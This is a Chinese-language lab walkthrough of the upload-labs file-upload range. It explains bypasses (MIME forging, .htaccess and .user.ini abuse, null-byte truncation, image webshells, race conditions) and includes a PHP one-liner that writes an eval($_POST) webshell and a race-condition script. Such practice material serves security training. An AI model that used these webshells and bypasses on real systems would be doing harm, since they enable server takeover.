关于搭建
猜测源码可能出现问题吧,加上游览器版本限制(自己小白很菜),就没有在本地部署下来,就走了个近路,去buuctf上找到了虚拟靶场
练习
Pass-01-js前端验证
查看源码把checkfile删了,之后传php马
Pass-02-MIME验证
查看源码,调用了mime验证可以伪造文件头绕过,将content-type改为image/png
Pass-03-phtml绕过
这关不允许上传php,asp,aspx,jsp文件,但是可以用phtml绕过
出现200跳转说明传上去了
Pass-04-.htaccess绕过
可以看到黑名单太多了,直接硬打不太现实
可以上传一个.htaccess文件作为编辑器,用bp抓包后修改文件后缀,加上GIF89a
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Pass-05-黑名单验证-.user.ini.或点+空格+点绕过
一万个黑名单,而且上一关的方法也被禁用了,要换新方法。上网搜搜发现没有被限制的后缀名有 .php7 以及 .ini
user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
.htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
设置可被识别。
两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
原理:php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
先创建一个.ini文件
auto_prepend_file=1.jpg
意思是所有的php文件都自动包含1.jpg文件。这个.user.ini相当于一个用户自定义的php.ini再接着传图片马
但是这个题被弄复杂了,也可以用点+空格+点绕过就传进去了
Pass-06-点+空格绕过
黑名单有htaccess,还让小写转为大写但是可以点+空格绕过
就上传成功了
Pass-07-首尾去空
多了个收尾去空,还是用点空格绕过,反正删个空格也不影响
就上传成功了
Pass-08-依然点+空格
源码中跟上一关大体一样还是可以利用收尾去空解决
Pass-09-点+空格+点
这关比上一关多了个删除点就多写一个点来骗掉
就可以了
Pass-10-重写后缀绕过(点+空格+点)
跟上关一样
Pass-11-双写后缀绕过
发现可以直接传马但是查看路径发现后缀不见了
这个时候就尝试双写后缀来解决
就成功了
Pass-12-白名单-get型%00截断
看源代码发现有白名单,允许上传jpg,png,gif文件,但是这一关白名单,最终文件的存放位置是以拼接的方式,会导致找不到地址
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00
需要修改第一行跟文件名,把upload/后面加上1.php%00,下面的1.php改为1.png
Pass-13-白名单-post-00截断
注:从这里开始因为尝试本地搭建成功了,就在本地操作了
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单
补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。
传1.php用BP抓包修改参数,在文件路径那里加上1.php和空格,把文件名后缀改为png在将刚刚加的空格哈希值改为00就可以上传成功了
原理和get的一样
Pass-14-图片马
这道题在题目部分就写了是要利用图片马和文件包含,先要搓一个图片马,将一句话木马和图片放在同一个文件夹下,输入
copy /b 1.jpg + 1.php muma.png
上传图片马就完成任务了
检验一下
Pass-15-getimagesize图片马
其实就加了这个函数,来确保文件是图片,但其实还是可以用上一关的图片马绕过
Pass-16-exif_imagetype图片马
源码提示
知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。
这个模块可以在小皮上开启,在php拓展那个页,开启后这个其实也是个文件校验函数,跟上一关一样,还是可以用14关的图片马绕过
Pass-17-二次渲染绕过
二次渲染是这一关的最大特点,将上传的文件重新生成为新的文件,这很容易出现“图片马被打乱,重新生成一张普通的jpg文件”
对于做文件上传之二次渲染建议用GIF图片,相对于简单一点,https://wwe.lanzoui.com/iFSwwn53jaf从大佬那里搞到的现成的
原理:上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
那这样的话就可以按照14关的方式上传gif1,利用gif的性质避免二次渲染对图片马的扼杀
Pass-18-条件竞争一
现根据提示进行代码审计服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。看似可以用图片马,参照前面几关的方式解决,但是这里没有给文件包含的漏洞,只能借助php马来解析,但是里面又含有一个条件,如果不是上面三种文件,在上传后就会被删除,这里就根据查询,需要利用bp一直向服务器重发php,然后再上传图片马,直到图片上传。这里因为我小白的原因,怎么操作都不行,就去搬大佬的博客
Pass-19-条件竞争二
原理和18关一样,只不过这里是禁止传php,那就只能一直传图片马了,所以也是用bp抓包然后一直重发空载荷线程拉高提高几率,但是要注意这关图片马要重新合成
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["1"])?>');?>
之后按照大佬的脚本
import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
#保护隐私没写网址,根据自己来改
Pass-20-后缀名黑名单
没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
那么这题就可以传一个jpg后缀的马,再bp抓包改后缀
将upload-19.jpg改为upload-19.php/.
之后就可以看到上传成功了
Pass-21
这题对我来说很难,自己试了但是一直传不上去,要么就连不上,就搬大佬的博客了
这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件
补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
原文链接:https://blog.csdn.net/weixin_47598409/article/details/115050869
先传个php马,然后bp拦截修改:
修改content-type
修改POST参数为数组类型,索引[0]为`upload-20.php`,索引[2]为`jpg|png|gif`。
只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空